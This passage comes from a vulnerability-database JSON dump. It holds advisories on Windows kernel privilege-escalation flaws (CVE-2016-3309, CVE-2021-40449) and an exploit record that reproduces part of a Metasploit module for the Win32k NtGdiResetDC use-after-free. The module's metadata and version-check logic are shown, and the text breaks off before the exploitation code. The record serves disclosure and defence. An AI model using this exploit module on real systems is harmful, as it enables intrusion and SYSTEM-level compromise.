Windows Server", "operator": "eq", "version": "2008 for Itanium-based Systems SP2 "}, {"name": "Microsoft Windows RT", "operator": "eq", "version": "8.1 "}, {"name": "Microsoft Windows Server", "operator": "eq", "version": "2008 R2 for Itanium-based Systems SP1 "}], "bulletinFamily": "software", "cvelist": ["CVE-2016-3309"], "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "### Description\n\nMicrosoft Windows is prone to a local privilege-escalation vulnerability that occurs in the Windows kernel. A local attacker can exploit this issue to execute arbitrary code in kernel mode with elevated privileges.\n\n### Technologies Affected\n\n * Microsoft Windows 10 Version 1607 for 32-bit Systems \n * Microsoft Windows 10 Version 1607 for x64-based Systems \n * Microsoft Windows 10 for 32-bit Systems \n * Microsoft Windows 10 for x64-based Systems \n * Microsoft Windows 10 version 1511 for 32-bit Systems \n * Microsoft Windows 10 version 1511 for x64-based Systems \n * Microsoft Windows 7 for 32-bit Systems SP1 \n * Microsoft Windows 7 for x64-based Systems SP1 \n * Microsoft Windows 8.1 for 32-bit Systems \n * Microsoft Windows 8.1 for x64-based Systems \n * Microsoft Windows RT 8.1 \n * Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1 \n * Microsoft Windows Server 2008 R2 for x64-based Systems SP1 \n * Microsoft Windows Server 2008 for 32-bit Systems SP2 \n * Microsoft Windows Server 2008 for Itanium-based Systems SP2 \n * Microsoft Windows Server 2008 for x64-based Systems SP2 \n * Microsoft Windows Server 2012 \n * Microsoft Windows Server 2012 R2 \n * Microsoft Windows Vista Service Pack 2 \n * Microsoft Windows Vista x64 Edition Service Pack 2 \n\n### Recommendations\n\n**Permit local access for trusted individuals only. Where possible, use restricted environments and restricted shells.** \nTo exploit this vulnerability, an attacker requires local access to an affected computer. Grant local access for trusted and accountable users only. \n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "edition": 1, "enchantments": {"dependencies": {"modified": "2018-03-12T12:26:11", "references": [{"idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"], "type": "exploitpack"}, {"idList": ["KB3178466"], "type": "mskb"}, {"idList": ["OPENVAS:1361412562310808784"], "type": "openvas"}, {"idList": ["EDB-ID:42960"], "type": "exploitdb"}, {"idList": ["MS:CVE-2016-3309"], "type": "mscve"}, {"idList": ["CVE-2016-3309"], "type": "cve"}, {"idList": ["KLA11908", "KLA10856"], "type": "kaspersky"}, {"idList": ["ZDI-16-449"], "type": "zdi"}, {"idList": ["SMB_NT_MS16-098.NASL"], "type": "nessus"}, {"idList": ["1337DAY-ID-28749"], "type": "zdt"}], "rev": 2}, "score": {"modified": "2018-03-12T12:26:11", "rev": 2, "value": 6.9, "vector": "NONE"}}, "hash": "e3364b05391760a5a7e8af4116975735daa495ae4ee15a849c03eb0c030ed624", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "dee2d346525c42556b1833b21cb142d8", "key": "_object_types"}, {"hash": "cfd16da9581e0c21db590e40dfd9e493", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "3ef646e70e92e40edd9a59da516321b6", "key": "description"}, {"hash": "2b7a3b0dbbaed6784fe56f3eaff7d40e", "key": "title"}, {"hash": "52e3bbafc627009ac13caff1200a0dbf", "key": "type"}, {"hash": "83458a5649532e397a727fe608f8117a", "key": "affectedSoftware"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "29eb0a5e25d1f4c6626f91741ab39650", "key": "modified"}, {"hash": "38af5596de2fce76e4eb62aa066bbcdb", "key": "_object_type"}, {"hash": "4cf4ecce44a411be17e21f83b6738db9", "key": "href"}, {"hash": "c1dd178f01805c02f1b5d1bda38a05d6", "key": "cvelist"}, {"hash": "29eb0a5e25d1f4c6626f91741ab39650", "key": "published"}, {"hash": "d6218597dc7a1b025a781373296b2b63", "key": "reporter"}], "history": [], "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/92297", "id": "SMNTC-92297", "immutableFields": [], "lastseen": "2018-03-12T12:26:11", "modified": "2016-08-09T00:00:00", "objectVersion": "1.5", "published": "2016-08-09T00:00:00", "references": [], "reporter": "Symantec Security Response", "title": "Microsoft Windows Kernel 'Win32k.sys' CVE-2016-3309 Local Privilege Escalation Vulnerability", "type": "symantec", "viewCount": 17}, "different_elements": ["affectedSoftware"], "edition": 1, "lastseen": "2018-03-12T12:26:11"}], "viewCount": 17, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-06-08T19:05:17", "rev": 2}, "score": {"value": 6.9, "vector": "NONE", "modified": "2021-06-08T19:05:17", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "microsoft windows", "operator": "eq", "version": "8.1 for 32-bit Systems "}, {"name": "microsoft windows", "operator": "eq", "version": "7 for x64-based Systems SP1 "}, {"name": "microsoft windows", "operator": "eq", "version": "10 Version 1607 for 32-bit Systems "}, {"name": "microsoft windows vista x64 edition service pack", "operator": "eq", "version": "2 "}, {"name": "microsoft windows", "operator": "eq", "version": "7 for 32-bit Systems SP1 "}, {"name": "microsoft windows server", "operator": "eq", "version": "2008 for 32-bit Systems SP2 "}, {"name": "microsoft windows server", "operator": "eq", "version": "2012 R2 "}, {"name": "microsoft windows", "operator": "eq", "version": "10 Version 1607 for x64-based Systems "}, {"name": "microsoft windows", "operator": "eq", "version": "10 for x64-based Systems "}, {"name": "microsoft windows server", "operator": "eq", "version": "2012 "}, {"name": "microsoft windows", "operator": "eq", "version": "10 version 1511 for 32-bit Systems "}, {"name": "microsoft windows", "operator": "eq", "version": "8.1 for x64-based Systems "}, {"name": "microsoft windows server", "operator": "eq", "version": "2008 R2 for x64-based Systems SP1 "}, {"name": "microsoft windows server", "operator": "eq", "version": "2008 R2 for Itanium-based Systems SP1 "}, {"name": "microsoft windows server", "operator": "eq", "version": "2008 for x64-based Systems SP2 "}, {"name": "microsoft windows rt", "operator": "eq", "version": "8.1 "}, {"name": "microsoft windows server", "operator": "eq", "version": "2008 for Itanium-based Systems SP2 "}, {"name": "microsoft windows", "operator": "eq", "version": "10 version 1511 for x64-based Systems "}, {"name": "microsoft windows vista service pack", "operator": "eq", "version": "2 "}, {"name": "microsoft windows", "operator": "eq", "version": "10 for 32-bit Systems "}], "_object_type": "robots.models.symantec.SymantecBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.symantec.SymantecBulletin"], "immutableFields": [], "edition": 2, "hashmap": [{"key": "_object_type", "hash": "38af5596de2fce76e4eb62aa066bbcdb"}, {"key": "_object_types", "hash": "dee2d346525c42556b1833b21cb142d8"}, {"key": "affectedSoftware", "hash": "ccd12ffabff12e530706f30f2f109381"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "c1dd178f01805c02f1b5d1bda38a05d6"}, {"key": "cvss", "hash": "cfd16da9581e0c21db590e40dfd9e493"}, {"key": "description", "hash": "3ef646e70e92e40edd9a59da516321b6"}, {"key": "href", "hash": "4cf4ecce44a411be17e21f83b6738db9"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "29eb0a5e25d1f4c6626f91741ab39650"}, {"key": "published", "hash": "29eb0a5e25d1f4c6626f91741ab39650"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "d6218597dc7a1b025a781373296b2b63"}, {"key": "title", "hash": "2b7a3b0dbbaed6784fe56f3eaff7d40e"}, {"key": "type", "hash": "52e3bbafc627009ac13caff1200a0dbf"}], "scheme": null, "cvss2": {}, "cvss3": {}}], "hivepro": [{"id": "HIVEPRO:19810CA69EE792A741AC657E50CAAAEE", "hash": "aad963f271bee82b21f7009e05072277", "type": "hivepro", "bulletinFamily": "info", "title": "Microsoft patches a vulnerability that was used in MysterySnail RAT Campaign", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/10/Microsoft-patches-a-vulnerability-that-was-used-in-MysterySnail-RAT-Campaign_TA202142.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F10%2FMicrosoft-patches-a-vulnerability-that-was-used-in-MysterySnail-RAT-Campaign_TA202142.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )[](<Https://www.hivepro.com/wp-content/uploads/2021/10/Multiple-vulnerabilities-have-been-discovered-in-the-Apache-HTTP-Server_TA202140.pdf>)\n\nAn APT espionage campaign leveraged a zero-day exploit for Microsoft Windows to escalate privileges and obtain access to Windows servers. The exploit chain culminated in the installation of a newly discovered remote access trojan (RAT) called MysterySnail on compromised servers with the purpose of stealing data. The flaw (CVE 2021 40449) was fixed as part of Microsoft's October Patch Tuesday upgrades, which were released this week.\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n\n\n#### Patch Link\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>\n\n#### References\n\n<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>", "published": "2021-10-13T08:52:05", "modified": "2021-10-13T08:52:05", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.hivepro.com/microsoft-patches-a-vulnerability-that-was-used-in-mysterysnail-rat-campaign/", "reporter": "Hive Pro", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-10-20T09:19:44", "history": [{"bulletin": {"id": "HIVEPRO:19810CA69EE792A741AC657E50CAAAEE", "hash": "038521394f55ccc6081b689598d27595", "type": "hivepro", "bulletinFamily": "info", "title": "Microsoft patches a vulnerability that was used in MysterySnail RAT Campaign", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/10/Microsoft-patches-a-vulnerability-that-was-used-in-MysterySnail-RAT-Campaign_TA202142.pdf>)[](<https://docs.google.com/viewer?url=https%3A%2F%2Fwww.hivepro.com%2Fwp-content%2Fuploads%2F2021%2F10%2FMicrosoft-patches-a-vulnerability-that-was-used-in-MysterySnail-RAT-Campaign_TA202142.pdf&embedded=true&chrome=false&dov=1> \"View this pdf file\" )[](<Https://www.hivepro.com/wp-content/uploads/2021/10/Multiple-vulnerabilities-have-been-discovered-in-the-Apache-HTTP-Server_TA202140.pdf>)\n\nAn APT espionage campaign leveraged a zero-day exploit for Microsoft Windows to escalate privileges and obtain access to Windows servers. The exploit chain culminated in the installation of a newly discovered remote access trojan (RAT) called MysterySnail on compromised servers with the purpose of stealing data. The flaw (CVE 2021 40449) was fixed as part of Microsoft's October Patch Tuesday upgrades, which were released this week.\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n\n\n#### Patch Link\n\n<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40449>\n\n#### References\n\n<https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/>", "published": "2021-10-13T08:52:05", "modified": "2021-10-13T08:52:05", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.hivepro.com/microsoft-patches-a-vulnerability-that-was-used-in-mysterysnail-rat-campaign/", "reporter": "Hive Pro", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-10-13T09:19:34", "history": [], "viewCount": 13, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006667.NASL"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-10-13T09:19:34", "rev": 2}, "score": {"value": 6.1, "vector": "NONE", "modified": "2021-10-13T09:19:34", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-10-13T09:19:34", "differentElements": ["cvss"], "edition": 1}], "viewCount": 23, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-10-20T09:19:44", "rev": 2}, "score": {"value": 5.3, "vector": "NONE", "modified": "2021-10-20T09:19:44", "rev": 2}}, "objectVersion": "1.6", "_object_type": "robots.models.rss.RssBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.rss.RssBulletin"]}], "zdt": [{"id": "1337DAY-ID-37026", "vendorId": null, "hash": "22fe30bd905555fa2ec3be722d86cbc6", "type": "zdt", "bulletinFamily": "exploit", "title": "Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation Exploit", "description": "A use after free vulnerability exists in the NtGdiResetDC() function of Win32k which can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. The flaw exists due to the fact that this function calls hdcOpenDCW(), which performs a user mode callback. During this callback, attackers can call the NtGdiResetDC() function again with the same handle as before, which will result in the PDC object that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle with their own object, before passing execution back to the original NtGdiResetDC() call, which will now use the attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM. This Metasploit module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions of Windows 10 will likely also work.", "published": "2021-11-10T00:00:00", "modified": "2021-11-10T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/37026", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-12-03T01:38:44", "history": [{"bulletin": {"id": "1337DAY-ID-37026", "vendorId": null, "hash": "9d3cc77266a13ef0ea9f0c7d03f6bc80", "type": "zdt", "bulletinFamily": "exploit", "title": "Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation Exploit", "description": "A use after free vulnerability exists in the NtGdiResetDC() function of Win32k which can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. The flaw exists due to the fact that this function calls hdcOpenDCW(), which performs a user mode callback. During this callback, attackers can call the NtGdiResetDC() function again with the same handle as before, which will result in the PDC object that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle with their own object, before passing execution back to the original NtGdiResetDC() call, which will now use the attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM. This Metasploit module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions of Windows 10 will likely also work.", "published": "2021-11-10T00:00:00", "modified": "2021-11-10T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/37026", "reporter": "zdt", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-10T23:57:08", "history": [], "viewCount": 89, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-10T23:57:08", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-10T23:57:08", "rev": 2}}, "objectVersion": "1.6", "sourceHref": "https://0day.today/exploit/37026", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = GoodRanking\n\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',\n 'Description' => %q{\n A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by\n an attacker to escalate privileges to those of `NT AUTHORITY\\SYSTEM`. The flaw exists due to the fact\n that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers\n can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object\n that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle\n with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the\n attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the\n kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM.\n\n This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions\n of Windows 10 will likely also work.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'IronHusky', # APT Group who exploited this in the wild\n 'Costin Raiu', # Initial reporting on bug at SecureList\n 'Boris Larin', # Initial reporting on bug at SecureList\n \"Red Raindrop Team of Qi'anxin Threat Intelligence Center\", # detailed analysis report in Chinese showing how to replicate the vulnerability\n 'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763\n 'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.\n 'Grant Willcox' # metasploit module\n ],\n 'Arch' => [ ARCH_X64 ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread'\n },\n 'Targets' => [\n [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]\n ],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'References' => [\n [ 'CVE', '2021-40449' ],\n [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation\n [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup\n [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC\n [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.\n ],\n 'DisclosureDate' => '2021-10-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_OS_RESTARTS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n 'SideEffects' => []\n }\n }\n )\n )\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n build_num_raw = cmd_exec('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1809|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Rex::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/\n if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11\n return CheckCode::Appears('Vulnerable Windows 11 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022\n return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2\n return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1\n return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2\n return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1\n return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif 